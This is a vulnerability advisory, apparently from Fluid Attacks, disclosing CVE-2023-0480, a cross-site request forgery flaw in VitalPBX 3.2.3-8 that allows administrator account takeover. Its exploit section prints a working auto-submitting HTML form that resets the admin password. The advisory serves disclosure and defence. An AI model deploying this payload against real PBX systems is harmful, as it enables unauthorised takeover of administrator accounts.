Headline

CVE-2023-0480: VitalPBX 3.2.3-8 - Account Takeover via CSRF | Advisories | Fluid Attacks

VitalPBX version 3.2.3-8 allows an unauthenticated external attacker to obtain the instance administrator’s account. This is possible because the application is vulnerable to CSRF.

1 year ago

CVE

Open in Source

#csrf #vulnerability #linux #php #auth

Summary

Name

VitalPBX 3.2.3-8 - Account Takeover via CSRF

Code name

Sharp

Product

VitalPBX

Affected versions

3.2.3-8

State

Public

Release Date

2023-04-10

Vulnerability

Kind

Cross-site request forgery

Rule

007. Cross-site request forgery

Remote

Yes

CVSSv3 Vector

CVSS:AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

CVSSv3 Base Score

6.5

Exploit available

CVE ID(s)

CVE-2023-0480

Description

VitalPBX version 3.2.3-8 allows an unauthenticated external attacker to obtain the instance administrator’s account. This is possible because the application is vulnerable to CSRF.

Vulnerability

This vulnerability occurs because the application is vulnerable to CSRF.

Exploit

To exploit this vulnerability, we only need to send the administrator a malicious HTML like the following.

<!DOCTYPE html>
<html>
  <body>
    <form action="http://137.184.73.151/index.php" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="user_id" value="1" />
      <input type="hidden" name="class" value="user_profile" />
      <input type="hidden" name="method" value="put" />
      <input type="hidden" name="mode" value="edit" />
      <input type="hidden" name="username" value="admin" />
      <input type="hidden" name="email" value="" />
      <input type="hidden" name="password" value="hacked" />
      <input type="hidden" name="role" value="1" />
      <input type="hidden" name="startapp" value="dashboard" />
      <input type="hidden" name="startapp_custom" value="" />
      <input type="hidden" name="displayname" value="Administrator" />
      <input type="hidden" name="department" value="Administración" />
      <input type="hidden" name="userphoto" value="" />
      <input type="hidden" name="userphoto" value="" />
      <input type="hidden" name="userphoto_configured" value="" />
      <input type="hidden" name="theme" value="vital_pbx" />
      <input type="hidden" name="locale" value="en_US" />
      <input type="hidden" name="timezone" value="system" />
      <input type="hidden" name="multitab" value="1" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

Evidence of exploitation

Our security policy

We have reserved the ID CVE-2023-0480 to refer to this issue from now on.